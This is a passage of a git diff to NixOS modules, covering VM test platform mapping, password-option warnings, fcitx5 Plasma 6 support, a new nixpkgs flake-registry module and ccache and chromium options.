run_tests: Callable[[], None] join_all: Callable[[], None] serial_stdout_off: Callable[[], None] diff --git a/nixos/lib/testing/nixos-test-base.nix b/nixos/lib/testing/nixos-test-base.nix index 59e6e38433679..d76a25361f8ca 100644 --- a/nixos/lib/testing/nixos-test-base.nix +++ b/nixos/lib/testing/nixos-test-base.nix @@ -16,7 +16,11 @@ in # The human version (e.g. 21.05-pre) is left as is, because it is useful # for external modules that test with e.g. testers.nixosTest and rely on that # version number. - config.system.nixos.revision = mkForce "constant-nixos-revision"; + config.system.nixos = { + revision = mkForce "constant-nixos-revision"; + versionSuffix = mkForce "test"; + label = mkForce "test"; + }; } ]; diff --git a/nixos/lib/testing/nodes.nix b/nixos/lib/testing/nodes.nix index 73e6d386fd1da..7941d69e38d2b 100644 --- a/nixos/lib/testing/nodes.nix +++ b/nixos/lib/testing/nodes.nix @@ -14,6 +14,25 @@ let types ; + inherit (hostPkgs) hostPlatform; + + guestSystem = + if hostPlatform.isLinux + then hostPlatform.system + else + let + hostToGuest = { + "x86_64-darwin" = "x86_64-linux"; + "aarch64-darwin" = "aarch64-linux"; + }; + + supportedHosts = lib.concatStringsSep ", " (lib.attrNames hostToGuest); + + message = + "NixOS Test: don't know which VM guest system to pair with VM host system: ${hostPlatform.system}. Perhaps you intended to run the tests on a Linux host, or one of the following systems that may run NixOS tests: ${supportedHosts}"; + in + hostToGuest.${hostPlatform.system} or (throw message); + baseOS = import ../eval-config.nix { inherit lib; @@ -27,13 +46,14 @@ let ({ config, ... }: { virtualisation.qemu.package = testModuleArgs.config.qemu.package; + virtualisation.host.pkgs = hostPkgs; }) ({ options, ... }: { key = "nodes.nix-pkgs"; config = optionalAttrs (!config.node.pkgsReadOnly) ( mkIf (!options.nixpkgs.pkgs.isDefined) { # TODO: switch to nixpkgs.hostPlatform and make sure containers-imperative test still evaluates. - nixpkgs.system = hostPkgs.stdenv.hostPlatform.system; + nixpkgs.system = guestSystem; } ); }) diff --git a/nixos/lib/testing/pkgs.nix b/nixos/lib/testing/pkgs.nix index 22dd586868e30..46d82c65d26a3 100644 --- a/nixos/lib/testing/pkgs.nix +++ b/nixos/lib/testing/pkgs.nix @@ -2,7 +2,11 @@ { config = { # default pkgs for use in VMs - _module.args.pkgs = hostPkgs; + _module.args.pkgs = + # TODO: deprecate it everywhere; not just on darwin. Throw on darwin? + lib.warnIf hostPkgs.stdenv.hostPlatform.isDarwin + "Do not use the `pkgs` module argument in tests you want to run on darwin. It is ambiguous, and many tests are broken because of it. If you need to use a package on the VM host, use `hostPkgs`. Otherwise, use `config.node.pkgs`, or `config.nodes.<name>.nixpkgs.pkgs`." + hostPkgs; defaults = { # TODO: a module to set a shared pkgs, if options.nixpkgs.* is untouched by user (highestPrio) */ diff --git a/nixos/lib/testing/run.nix b/nixos/lib/testing/run.nix index 9440c1acdfd81..de5a9b97e61d5 100644 --- a/nixos/lib/testing/run.nix +++ b/nixos/lib/testing/run.nix @@ -41,7 +41,9 @@ in rawTestDerivation = hostPkgs.stdenv.mkDerivation { name = "vm-test-run-${config.name}"; - requiredSystemFeatures = [ "kvm" "nixos-test" ]; + requiredSystemFeatures = [ "nixos-test" ] + ++ lib.optionals hostPkgs.stdenv.hostPlatform.isLinux [ "kvm" ] + ++ lib.optionals hostPkgs.stdenv.hostPlatform.isDarwin [ "apple-virt" ]; buildCommand = '' mkdir -p $out diff --git a/nixos/maintainers/scripts/lxd/lxd-container-image.nix b/nixos/maintainers/scripts/lxd/lxd-container-image.nix index 3f330952d6959..930ab34af3856 100644 --- a/nixos/maintainers/scripts/lxd/lxd-container-image.nix +++ b/nixos/maintainers/scripts/lxd/lxd-container-image.nix @@ -20,8 +20,7 @@ }; in '' if [ ! -e /etc/nixos/configuration.nix ]; then - mkdir -p /etc/nixos - cp ${config} /etc/nixos/configuration.nix + install -m 644 -D ${config} /etc/nixos/configuration.nix fi ''; diff --git a/nixos/modules/config/ldso.nix b/nixos/modules/config/ldso.nix index 72ae3958d8869..bd6f0dc5a83b8 100644 --- a/nixos/modules/config/ldso.nix +++ b/nixos/modules/config/ldso.nix @@ -6,9 +6,9 @@ let libDir = pkgs.stdenv.hostPlatform.libDir; ldsoBasename = builtins.unsafeDiscardStringContext (last (splitString "/" pkgs.stdenv.cc.bintools.dynamicLinker)); - pkgs32 = pkgs.pkgsi686Linux; - libDir32 = pkgs32.stdenv.hostPlatform.libDir; - ldsoBasename32 = builtins.unsafeDiscardStringContext (last (splitString "/" pkgs32.stdenv.cc.bintools.dynamicLinker)); + # Hard-code to avoid creating another instance of nixpkgs. Also avoids eval errors in some cases. + libDir32 = "lib"; # pkgs.pkgsi686Linux.stdenv.hostPlatform.libDir + ldsoBasename32 = "ld-linux.so.2"; # last (splitString "/" pkgs.pkgsi686Linux.stdenv.cc.bintools.dynamicLinker) in { options = { environment.ldso = mkOption { diff --git a/nixos/modules/config/nix.nix b/nixos/modules/config/nix.nix index 2769d8b25ef6f..e6a74bbb73fcc 100644 --- a/nixos/modules/config/nix.nix +++ b/nixos/modules/config/nix.nix @@ -1,5 +1,5 @@ /* - Manages /etc/nix.conf. + Manages /etc/nix/nix.conf. See also - ./nix-channel.nix diff --git a/nixos/modules/config/no-x-libs.nix b/nixos/modules/config/no-x-libs.nix index 2f763290e32dd..870b3fe77cca9 100644 --- a/nixos/modules/config/no-x-libs.nix +++ b/nixos/modules/config/no-x-libs.nix @@ -67,7 +67,7 @@ with lib; networkmanager-vpnc = super.networkmanager-vpnc.override { withGnome = false; }; pango = super.pango.override { x11Support = false; }; pinentry = super.pinentry.override { enabledFlavors = [ "curses" "tty" "emacs" ]; withLibsecret = false; }; - pipewire = super.pipewire.override { x11Support = false; }; + pipewire = super.pipewire.override { vulkanSupport = false; x11Support = false; }; pythonPackagesExtensions = super.pythonPackagesExtensions ++ [ (python-final: python-prev: { # tk feature requires wayland which fails to compile @@ -83,6 +83,7 @@ with lib; # translateManpages -> perlPackages.po4a -> texlive-combined-basic -> texlive-core-big -> libX11 util-linux = super.util-linux.override { translateManpages = false; }; vim-full = super.vim-full.override { guiSupport = false; }; + vte = super.vte.override { gtkVersion = null; }; zbar = super.zbar.override { enableVideo = false; withXorg = false; }; })); }; diff --git a/nixos/modules/config/users-groups.nix b/nixos/modules/config/users-groups.nix index 967ad0846d75b..dd34771c0b42b 100644 --- a/nixos/modules/config/users-groups.nix +++ b/nixos/modules/config/users-groups.nix @@ -649,7 +649,6 @@ in { home = "/root"; shell = mkDefault cfg.defaultUserShell; group = "root"; - initialHashedPassword = mkDefault "!"; }; nobody = { uid = ids.uids.nobody; @@ -897,7 +896,26 @@ in { )); warnings = - builtins.filter (x: x != null) ( + flip concatMap (attrValues cfg.users) (user: let + unambiguousPasswordConfiguration = 1 >= length (filter (x: x != null) ([ + user.hashedPassword + user.hashedPasswordFile + user.password + ] ++ optionals cfg.mutableUsers [ + # For immutable users, initialHashedPassword is set to hashedPassword, + # so using these options would always trigger the assertion. + user.initialHashedPassword + user.initialPassword + ])); + in optional (!unambiguousPasswordConfiguration) '' + The user '${user.name}' has multiple of the options + `hashedPassword`, `password`, `hashedPasswordFile`, `initialPassword` + & `initialHashedPassword` set to a non-null value. + The options silently discard others by the order of precedence + given above which can lead to surprising results. To resolve this warning, + set at most one of the options above to a non-`null` value. + '') + ++ builtins.filter (x: x != null) ( flip mapAttrsToList cfg.users (_: user: # This regex matches a subset of the Modular Crypto Format (MCF)[1] # informal standard. Since this depends largely on the OS or the diff --git a/nixos/modules/config/vte.nix b/nixos/modules/config/vte.nix index a969607f6e0b0..48f85246560a9 100644 --- a/nixos/modules/config/vte.nix +++ b/nixos/modules/config/vte.nix @@ -1,5 +1,3 @@ -# VTE - { config, pkgs, lib, ... }: with lib; @@ -9,7 +7,7 @@ let vteInitSnippet = '' # Show current working directory in VTE terminals window title. # Supports both bash and zsh, requires interactive shell. - . ${pkgs.vte}/etc/profile.d/vte.sh + . ${pkgs.vte.override { gtkVersion = null; }}/etc/profile.d/vte.sh ''; in diff --git a/nixos/modules/config/xdg/portal.nix b/nixos/modules/config/xdg/portal.nix index 07d4fa76c2e8b..5aa23377f9ffb 100644 --- a/nixos/modules/config/xdg/portal.nix +++ b/nixos/modules/config/xdg/portal.nix @@ -119,19 +119,6 @@ in let cfg = config.xdg.portal; packages = [ pkgs.xdg-desktop-portal ] ++ cfg.extraPortals; - configPackages = cfg.configPackages; - - joinedPortals = pkgs.buildEnv { - name = "xdg-portals"; - paths = packages; - pathsToLink = [ "/share/xdg-desktop-portal/portals" "/share/applications" ]; - }; - - joinedPortalConfigs = pkgs.buildEnv { - name = "xdg-portal-configs"; - paths = configPackages; - pathsToLink = [ "/share/xdg-desktop-portal" ]; - }; in mkIf cfg.enable { warnings = lib.optional (cfg.configPackages == [ ] && cfg.config == { }) '' @@ -158,17 +145,18 @@ in systemd.packages = packages; environment = { - # fixes screen sharing on plasmawayland on non-chromium apps by linking - # share/applications/*.desktop files - # see https://github.com/NixOS/nixpkgs/issues/145174 - systemPackages = [ joinedPortals ]; - pathsToLink = [ "/share/applications" ]; + systemPackages = packages ++ cfg.configPackages; + pathsToLink = [ + # Portal definitions and upstream desktop environment portal configurations. + "/share/xdg-desktop-portal" + # .desktop files to register fallback icon and app name. + "/share/applications" + ]; sessionVariables = { GTK_USE_PORTAL = mkIf cfg.gtkUsePortal "1"; NIXOS_XDG_OPEN_USE_PORTAL = mkIf cfg.xdgOpenUsePortal "1"; - XDG_DESKTOP_PORTAL_DIR = "${joinedPortals}/share/xdg-desktop-portal/portals"; - NIXOS_XDG_DESKTOP_PORTAL_CONFIG_DIR = mkIf (cfg.configPackages != [ ]) "${joinedPortalConfigs}/share/xdg-desktop-portal"; + NIX_XDG_DESKTOP_PORTAL_DIR = "/run/current-system/sw/share/xdg-desktop-portal/portals"; }; etc = lib.concatMapAttrs diff --git a/nixos/modules/hardware/printers.nix b/nixos/modules/hardware/printers.nix index 846ff6f3fb4f5..4fb6a192cdd2c 100644 --- a/nixos/modules/hardware/printers.nix +++ b/nixos/modules/hardware/printers.nix @@ -2,18 +2,23 @@ with lib; let cfg = config.hardware.printers; - ppdOptionsString = options: optionalString (options != {}) - (concatStringsSep " " - (mapAttrsToList (name: value: "-o '${name}'='${value}'") options) - ); - ensurePrinter = p: '' - ${pkgs.cups}/bin/lpadmin -p '${p.name}' -E \ - ${optionalString (p.location != null) "-L '${p.location}'"} \ - ${optionalString (p.description != null) "-D '${p.description}'"} \ - -v '${p.deviceUri}' \ - -m '${p.model}' \ - ${ppdOptionsString p.ppdOptions} + + ensurePrinter = p: let + args = cli.toGNUCommandLineShell {} ({ + p = p.name; + v = p.deviceUri; + m = p.model; + } // optionalAttrs (p.location != null) { + L = p.location; + } // optionalAttrs (p.description != null) { + D = p.description; + } // optionalAttrs (p.ppdOptions != {}) { + o = mapAttrsToList (name: value: "'${name}'='${value}'") p.ppdOptions; + }); + in '' + ${pkgs.cups}/bin/lpadmin ${args} -E ''; + ensureDefaultPrinter = name: '' ${pkgs.cups}/bin/lpadmin -d '${name}' ''; diff --git a/nixos/modules/hardware/video/switcheroo-control.nix b/nixos/modules/hardware/video/switcheroo-control.nix index 982388f8e5f4e..967120d6744a1 100644 --- a/nixos/modules/hardware/video/switcheroo-control.nix +++ b/nixos/modules/hardware/video/switcheroo-control.nix @@ -1,18 +1,19 @@ { config, pkgs, lib, ... }: -with lib; let - pkg = [ pkgs.switcheroo-control ]; cfg = config.services.switcherooControl; in { options.services.switcherooControl = { - enable = mkEnableOption (lib.mdDoc "switcheroo-control, a D-Bus service to check the availability of dual-GPU"); + enable = lib.mkEnableOption "switcheroo-control, a D-Bus service to check the availability of dual-GPU"; + package = lib.mkPackageOption pkgs "switcheroo-control" { }; }; - config = mkIf cfg.enable { - services.dbus.packages = pkg; - environment.systemPackages = pkg; - systemd.packages = pkg; - systemd.targets.multi-user.wants = [ "switcheroo-control.service" ]; + config = lib.mkIf cfg.enable { + services.dbus.packages = [ cfg.package ]; + environment.systemPackages = [ cfg.package ]; + systemd = { + packages = [ cfg.package ]; + targets.multi-user.wants = [ "switcheroo-control.service" ]; + }; }; } diff --git a/nixos/modules/i18n/input-method/fcitx5.nix b/nixos/modules/i18n/input-method/fcitx5.nix index 530727f3f2928..ee8d2652b1c72 100644 --- a/nixos/modules/i18n/input-method/fcitx5.nix +++ b/nixos/modules/i18n/input-method/fcitx5.nix @@ -5,7 +5,10 @@ with lib; let im = config.i18n.inputMethod; cfg = im.fcitx5; - fcitx5Package = pkgs.fcitx5-with-addons.override { inherit (cfg) addons; }; + fcitx5Package = + if cfg.plasma6Support + then pkgs.qt6Packages.fcitx5-with-addons.override { inherit (cfg) addons; } + else pkgs.libsForQt5.fcitx5-with-addons.override { inherit (cfg) addons; }; settingsFormat = pkgs.formats.ini { }; in { @@ -27,6 +30,15 @@ in See [Using Fcitx 5 on Wayland](https://fcitx-im.org/wiki/Using_Fcitx_5_on_Wayland). ''; }; + plasma6Support = mkOption { + type = types.bool; + default = config.services.xserver.desktopManager.plasma6.enable; + defaultText = literalExpression "config.services.xserver.desktopManager.plasma6.enable"; + description = lib.mdDoc '' + Use qt6 versions of fcitx5 packages. + Required for configuring fcitx5 in KDE System Settings. + ''; + }; quickPhrase = mkOption { type = with types; attrsOf str; default = { }; diff --git a/nixos/modules/installer/cd-dvd/installation-cd-graphical-calamares-plasma6.nix b/nixos/modules/installer/cd-dvd/installation-cd-graphical-calamares-plasma6.nix new file mode 100644 index 0000000000000..11118db3aae2a --- /dev/null +++ b/nixos/modules/installer/cd-dvd/installation-cd-graphical-calamares-plasma6.nix @@ -0,0 +1,46 @@ +# This module defines a NixOS installation CD that contains Plasma 6. + +{ pkgs, ... }: + +{ + imports = [ ./installation-cd-graphical-calamares.nix ]; + + isoImage.edition = "plasma6"; + + services.xserver = { + desktopManager.plasma6.enable = true; + + # Automatically login as nixos. + displayManager = { + sddm.enable = true; + autoLogin = { + enable = true; + user = "nixos"; + }; + }; + }; + + environment.systemPackages = [ + # FIXME: using Qt5 builds of Maliit as upstream has not ported to Qt6 yet + pkgs.maliit-framework + pkgs.maliit-keyboard + ]; + + system.activationScripts.installerDesktop = let + + # Comes from documentation.nix when xserver and nixos.enable are true. + manualDesktopFile = "/run/current-system/sw/share/applications/nixos-manual.desktop"; + + homeDir = "/home/nixos/"; + desktopDir = homeDir + "Desktop/"; + + in '' + mkdir -p ${desktopDir} + chown nixos ${homeDir} ${desktopDir} + + ln -sfT ${manualDesktopFile} ${desktopDir + "nixos-manual.desktop"} + ln -sfT ${pkgs.gparted}/share/applications/gparted.desktop ${desktopDir + "gparted.desktop"} + ln -sfT ${pkgs.calamares-nixos}/share/applications/io.calamares.calamares.desktop ${desktopDir + "io.calamares.calamares.desktop"} + ''; + +} diff --git a/nixos/modules/installer/cd-dvd/installation-cd-minimal-new-kernel-no-zfs.nix b/nixos/modules/installer/cd-dvd/installation-cd-minimal-new-kernel-no-zfs.nix index 9d09cdbe0206d..fc3cb08bdbbb3 100644 --- a/nixos/modules/installer/cd-dvd/installation-cd-minimal-new-kernel-no-zfs.nix +++ b/nixos/modules/installer/cd-dvd/installation-cd-minimal-new-kernel-no-zfs.nix @@ -1,15 +1,7 @@ -{ pkgs, ... }: +{ lib, ... }: { imports = [ ./installation-cd-minimal-new-kernel.nix ]; - # Makes `availableOn` fail for zfs, see <nixos/modules/profiles/base.nix>. - # This is a workaround since we cannot remove the `"zfs"` string from `supportedFilesystems`. - # The proper fix would be to make `supportedFilesystems` an attrset with true/false which we - # could then `lib.mkForce false` - nixpkgs.overlays = [(final: super: { - zfs = super.zfs.overrideAttrs(_: { - meta.platforms = []; - }); - })]; + boot.supportedFilesystems.zfs = lib.mkForce false; } diff --git a/nixos/modules/installer/netboot/netboot.nix b/nixos/modules/installer/netboot/netboot.nix index a50f22cbe471d..028a2d74041e6 100644 --- a/nixos/modules/installer/netboot/netboot.nix +++ b/nixos/modules/installer/netboot/netboot.nix @@ -62,19 +62,12 @@ with lib; }; fileSystems."/nix/store" = mkImageMediaOverride - { fsType = "overlay"; - device = "overlay"; - options = [ - "lowerdir=/nix/.ro-store" - "upperdir=/nix/.rw-store/store" - "workdir=/nix/.rw-store/work" - ]; - - depends = [ - "/nix/.ro-store" - "/nix/.rw-store/store" - "/nix/.rw-store/work" - ]; + { overlay = { + lowerdir = [ "/nix/.ro-store" ]; + upperdir = "/nix/.rw-store/store"; + workdir = "/nix/.rw-store/work"; + }; + neededForBoot = true; }; boot.initrd.availableKernelModules = [ "squashfs" "overlay" ]; diff --git a/nixos/modules/installer/sd-card/sd-image-aarch64-new-kernel-no-zfs-installer.nix b/nixos/modules/installer/sd-card/sd-image-aarch64-new-kernel-no-zfs-installer.nix index 0e50559602945..da5410057887e 100644 --- a/nixos/modules/installer/sd-card/sd-image-aarch64-new-kernel-no-zfs-installer.nix +++ b/nixos/modules/installer/sd-card/sd-image-aarch64-new-kernel-no-zfs-installer.nix @@ -1,15 +1,7 @@ -{ pkgs, ... }: +{ lib, ... }: { imports = [ ./sd-image-aarch64-new-kernel-installer.nix ]; - # Makes `availableOn` fail for zfs, see <nixos/modules/profiles/base.nix>. - # This is a workaround since we cannot remove the `"zfs"` string from `supportedFilesystems`. - # The proper fix would be to make `supportedFilesystems` an attrset with true/false which we - # could then `lib.mkForce false` - nixpkgs.overlays = [(final: super: { - zfs = super.zfs.overrideAttrs(_: { - meta.platforms = []; - }); - })]; + boot.supportedFilesystems.zfs = lib.mkForce false; } diff --git a/nixos/modules/misc/nixpkgs-flake.nix b/nixos/modules/misc/nixpkgs-flake.nix new file mode 100644 index 0000000000000..8bfe05ca19949 --- /dev/null +++ b/nixos/modules/misc/nixpkgs-flake.nix @@ -0,0 +1,105 @@ +{ config, options, lib, pkgs, ... }: + +with lib; + +let + cfg = config.nixpkgs.flake; +in +{ + options.nixpkgs.flake = { + source = mkOption { + # In newer Nix versions, particularly with lazy trees, outPath of + # flakes becomes a Nix-language path object. We deliberately allow this + # to gracefully come through the interface in discussion with @roberth. + # + # See: https://github.com/NixOS/nixpkgs/pull/278522#discussion_r1460292639 + type = types.nullOr (types.either types.str types.path); + + default = null; + defaultText = "if (using nixpkgsFlake.lib.nixosSystem) then self.outPath else null"; + + example = ''builtins.fetchTarball { name = "source"; sha256 = "${lib.fakeHash}"; url = "https://github.com/nixos/nixpkgs/archive/somecommit.tar.gz"; }''; + + description = mdDoc '' + The path to the nixpkgs sources used to build the system. This is automatically set up to be + the store path of the nixpkgs flake used to build the system if using + `nixpkgs.lib.nixosSystem`, and is otherwise null by default. + + This can also be optionally set if the NixOS system is not built with a flake but still uses + pinned sources: set this to the store path for the nixpkgs sources used to build the system, + as may be obtained by `builtins.fetchTarball`, for example. + + Note: the name of the store path must be "source" due to + <https://github.com/NixOS/nix/issues/7075>. + ''; + }; + + setNixPath = mkOption { + type = types.bool; + + default = cfg.source != null; + defaultText = "config.nixpkgs.flake.source != null"; + + description = mdDoc '' + Whether to set {env}`NIX_PATH` to include `nixpkgs=flake:nixpkgs` such that `<nixpkgs>` + lookups receive the version of nixpkgs that the system was built with, in concert with + {option}`nixpkgs.flake.setFlakeRegistry`. + + This is on by default for NixOS configurations built with flakes. + + This makes {command}`nix-build '<nixpkgs>' -A hello` work out of the box on flake systems. + + Note that this option makes the NixOS closure depend on the nixpkgs sources, which may add + undesired closure size if the system will not have any nix commands run on it. + ''; + }; + + setFlakeRegistry = mkOption { + type = types.bool; + + default = cfg.source != null; + defaultText = "config.nixpkgs.flake.source != null"; + + description = mdDoc '' + Whether to pin nixpkgs in the system-wide flake registry (`/etc/nix/registry.json`) to the + store path of the sources of nixpkgs used to build the NixOS system. + + This is on by default for NixOS configurations built with flakes. + + This option makes {command}`nix run nixpkgs#hello` reuse dependencies from the system, avoid + refetching nixpkgs, and have a consistent result every time. + + Note that this option makes the NixOS closure depend on the nixpkgs sources, which may add + undesired closure size if the system will not have any nix commands run on it. + ''; + }; + }; + + config = mkIf (cfg.source != null) (mkMerge [ + { + assertions = [ + { + assertion = cfg.setNixPath -> cfg.setFlakeRegistry; + message = '' + Setting `nixpkgs.flake.setNixPath` requires that `nixpkgs.flake.setFlakeRegistry` also + be set, since it is implemented in terms of indirection through the flake registry. + ''; + } + ]; + } + (mkIf cfg.setFlakeRegistry { + nix.registry.nixpkgs.to = mkDefault { + type = "path"; + path = cfg.source; + }; + }) + (mkIf cfg.setNixPath { + # N.B. This does not include nixos-config in NIX_PATH unlike modules/config/nix-channel.nix + # because we would need some kind of evil shim taking the *calling* flake's self path, + # perhaps, to ever make that work (in order to know where the Nix expr for the system came + # from and how to call it). + nix.nixPath = mkDefault ([ "nixpkgs=flake:nixpkgs" ] + ++ optional config.nix.channel.enable "/nix/var/nix/profiles/per-user/root/channels"); + }) + ]); +} diff --git a/nixos/modules/misc/nixpkgs.nix b/nixos/modules/misc/nixpkgs.nix index da321a9234493..10f800cd741a0 100644 --- a/nixos/modules/misc/nixpkgs.nix +++ b/nixos/modules/misc/nixpkgs.nix @@ -208,7 +208,11 @@ in example = { system = "x86_64-linux"; }; # Make sure that the final value has all fields for sake of other modules # referring to this. - apply = lib.systems.elaborate; + apply = inputBuildPlatform: + let elaborated = lib.systems.elaborate inputBuildPlatform; + in if lib.systems.equals elaborated cfg.hostPlatform + then cfg.hostPlatform # make identical, so that `==` equality works; see https://github.com/NixOS/nixpkgs/issues/278001 + else elaborated; defaultText = literalExpression ''config.nixpkgs.hostPlatform''; description = lib.mdDoc '' diff --git a/nixos/modules/misc/nixpkgs/test.nix b/nixos/modules/misc/nixpkgs/test.nix index 0536cfc9624a2..be9a88a077887 100644 --- a/nixos/modules/misc/nixpkgs/test.nix +++ b/nixos/modules/misc/nixpkgs/test.nix @@ -12,6 +12,10 @@ let nixpkgs.hostPlatform = "aarch64-linux"; nixpkgs.buildPlatform = "aarch64-darwin"; }; + withSameHostAndBuild = eval { + nixpkgs.hostPlatform = "aarch64-linux"; + nixpkgs.buildPlatform = "aarch64-linux"; + }; ambiguous = { _file = "ambiguous.nix"; nixpkgs.hostPlatform = "aarch64-linux"; @@ -81,6 +85,8 @@ lib.recurseIntoAttrs { assert withHost._module.args.pkgs.stdenv.buildPlatform.system == "aarch64-linux"; assert withHostAndBuild._module.args.pkgs.stdenv.hostPlatform.system == "aarch64-linux"; assert withHostAndBuild._module.args.pkgs.stdenv.buildPlatform.system == "aarch64-darwin"; + assert withSameHostAndBuild.config.nixpkgs.buildPlatform == withSameHostAndBuild.config.nixpkgs.hostPlatform; + assert withSameHostAndBuild._module.args.pkgs.stdenv.buildPlatform == withSameHostAndBuild._module.args.pkgs.stdenv.hostPlatform; assert builtins.trace (lib.head (getErrors ambiguous)) getErrors ambiguous == ['' diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix index ec022713e12ef..41e369ac1c650 100644 --- a/nixos/modules/module-list.nix +++ b/nixos/modules/module-list.nix @@ -133,6 +133,7 @@ ./misc/meta.nix ./misc/nixops-autoluks.nix ./misc/nixpkgs.nix + ./misc/nixpkgs-flake.nix ./misc/passthru.nix ./misc/version.nix ./misc/wordlist.nix @@ -162,6 +163,7 @@ ./programs/clash-verge.nix ./programs/cnping.nix ./programs/command-not-found/command-not-found.nix + ./programs/coolercontrol.nix ./programs/criu.nix ./programs/darling.nix ./programs/dconf.nix @@ -241,6 +243,7 @@ ./programs/proxychains.nix ./programs/qdmr.nix ./programs/qt5ct.nix + ./programs/quark-goldleaf.nix ./programs/regreet.nix ./programs/rog-control-center.nix ./programs/rust-motd.nix @@ -510,6 +513,7 @@ ./services/editors/infinoted.nix ./services/finance/odoo.nix ./services/games/archisteamfarm.nix + ./services/games/armagetronad.nix ./services/games/crossfire-server.nix ./services/games/deliantra-server.nix ./services/games/factorio.nix @@ -545,6 +549,8 @@ ./services/hardware/kanata.nix ./services/hardware/lcd.nix ./services/hardware/lirc.nix + ./services/hardware/nvidia-container-toolkit-cdi-generator + ./services/hardware/monado.nix ./services/hardware/nvidia-optimus.nix ./services/hardware/openrgb.nix ./services/hardware/pcscd.nix @@ -580,6 +586,7 @@ ./services/home-automation/govee2mqtt.nix ./services/home-automation/home-assistant.nix ./services/home-automation/homeassistant-satellite.nix + ./services/home-automation/matter-server.nix ./services/home-automation/zigbee2mqtt.nix ./services/home-automation/zwave-js.nix ./services/logging/SystemdJournal2Gelf.nix @@ -713,6 +720,7 @@ ./services/misc/libreddit.nix ./services/misc/lidarr.nix ./services/misc/lifecycled.nix + ./services/misc/llama-cpp.nix ./services/misc/logkeys.nix ./services/misc/mame.nix ./services/misc/mbpfan.nix @@ -775,12 +783,14 @@ ./services/misc/svnserve.nix ./services/misc/synergy.nix ./services/misc/sysprof.nix + ./services/misc/tabby.nix ./services/misc/tandoor-recipes.nix ./services/misc/taskserver ./services/misc/tautulli.nix ./services/misc/tiddlywiki.nix ./services/misc/tp-auto-kbbl.nix ./services/misc/tuxclocker.nix + ./services/misc/transfer-sh.nix ./services/misc/tzupdate.nix ./services/misc/uhub.nix ./services/misc/weechat.nix @@ -839,6 +849,7 @@ ./services/monitoring/riemann.nix ./services/monitoring/rustdesk-server.nix ./services/monitoring/scollector.nix + ./services/monitoring/scrutiny.nix ./services/monitoring/smartd.nix ./services/monitoring/snmpd.nix ./services/monitoring/statsd.nix @@ -897,7 +908,6 @@ ./services/networking/autossh.nix ./services/networking/avahi-daemon.nix ./services/networking/babeld.nix - ./services/networking/bee-clef.nix ./services/networking/bee.nix ./services/networking/biboumi.nix ./services/networking/bind.nix @@ -962,6 +972,7 @@ ./services/networking/gns3-server.nix ./services/networking/gnunet.nix ./services/networking/go-autoconfig.nix + ./services/networking/go-camo.nix ./services/networking/go-neb.nix ./services/networking/go-shadowsocks2.nix ./services/networking/gobgpd.nix @@ -1319,6 +1330,7 @@ ./services/web-apps/mastodon.nix ./services/web-apps/matomo.nix ./services/web-apps/mattermost.nix + ./services/web-apps/mealie.nix ./services/web-apps/mediawiki.nix ./services/web-apps/meme-bingo-web.nix ./services/web-apps/microbin.nix @@ -1400,7 +1412,6 @@ ./services/web-servers/unit/default.nix ./services/web-servers/uwsgi.nix ./services/web-servers/varnish/default.nix - ./services/web-servers/zope2.nix ./services/x11/clight.nix ./services/x11/colord.nix ./services/x11/desktop-managers/default.nix diff --git a/nixos/modules/programs/ccache.nix b/nixos/modules/programs/ccache.nix index 567c853e8c7de..7972b2ac4a569 100644 --- a/nixos/modules/programs/ccache.nix +++ b/nixos/modules/programs/ccache.nix @@ -1,35 +1,43 @@ { config, pkgs, lib, ... }: -with lib; let cfg = config.programs.ccache; in { options.programs.ccache = { # host configuration - enable = mkEnableOption (lib.mdDoc "CCache"); - cacheDir = mkOption { - type = types.path; + enable = lib.mkEnableOption (lib.mdDoc "CCache"); + cacheDir = lib.mkOption { + type = lib.types.path; description = lib.mdDoc "CCache directory"; default = "/var/cache/ccache"; }; # target configuration - packageNames = mkOption { - type = types.listOf types.str; + packageNames = lib.mkOption { + type = lib.types.listOf lib.types.str; description = lib.mdDoc "Nix top-level packages to be compiled using CCache"; default = []; example = [ "wxGTK32" "ffmpeg" "libav_all" ]; }; + owner = lib.mkOption { + type = lib.types.str; + default = "root"; + description = lib.mdDoc "Owner of CCache directory"; + }; + group = lib.mkOption { + type = lib.types.str; + default = "nixbld"; + description = lib.mdDoc "Group owner of CCache directory"; + }; }; - config = mkMerge [ + config = lib.mkMerge [ # host configuration - (mkIf cfg.enable { - systemd.tmpfiles.rules = [ "d ${cfg.cacheDir} 0770 root nixbld -" ]; + (lib.mkIf cfg.enable { + systemd.tmpfiles.rules = [ "d ${cfg.cacheDir} 0770 ${cfg.owner} ${cfg.group} -" ]; # "nix-ccache --show-stats" and "nix-ccache --clear" security.wrappers.nix-ccache = { - owner = "root"; - group = "nixbld"; + inherit (cfg) owner group; setuid = false; setgid = true; source = pkgs.writeScript "nix-ccache.pl" '' @@ -50,9 +58,9 @@ in { }) # target configuration - (mkIf (cfg.packageNames != []) { + (lib.mkIf (cfg.packageNames != []) { nixpkgs.overlays = [ - (self: super: genAttrs cfg.packageNames (pn: super.${pn}.override { stdenv = builtins.trace "with ccache: ${pn}" self.ccacheStdenv; })) + (self: super: lib.genAttrs cfg.packageNames (pn: super.${pn}.override { stdenv = builtins.trace "with ccache: ${pn}" self.ccacheStdenv; })) (self: super: { ccacheWrapper = super.ccacheWrapper.override { @@ -65,7 +73,7 @@ in { echo "Directory '$CCACHE_DIR' does not exist" echo "Please create it with:" echo " sudo mkdir -m0770 '$CCACHE_DIR'" - echo " sudo chown root:nixbld '$CCACHE_DIR'" + echo " sudo chown ${cfg.owner}:${cfg.group} '$CCACHE_DIR'" echo "=====" exit 1 fi diff --git a/nixos/modules/programs/chromium.nix b/nixos/modules/programs/chromium.nix index 45a9e9e2a6895..5e89837300489 100644 --- a/nixos/modules/programs/chromium.nix +++ b/nixos/modules/programs/chromium.nix @@ -98,6 +98,24 @@ in } ''; }; + + initialPrefs = mkOption { + type = types.attrs; + description = lib.mdDoc '' + Initial preferences are used to configure the browser for the first run. + Unlike {option}`programs.chromium.extraOpts`, initialPrefs can be changed by users in the browser settings. + More information can be found in the Chromium documentation: + <https://www.chromium.org/administrators/configuring-other-preferences/> + ''; + default = {}; + example = literalExpression '' + { + "first_run_tabs" = [ + "https://nixos.org/" + ]; + } + ''; + }; }; }; @@ -110,6 +128,7 @@ in { source = "${cfg.plasmaBrowserIntegrationPackage}/etc/chromium/native-messaging-hosts/org.kde.plasma.browser_integration.json"; }; "chromium/policies/managed/default.json" = lib.mkIf (defaultProfile != {}) { text = builtins.toJSON defaultProfile; }; "chromium/policies/managed/extra.json" = lib.mkIf (cfg.extraOpts != {}) { text = 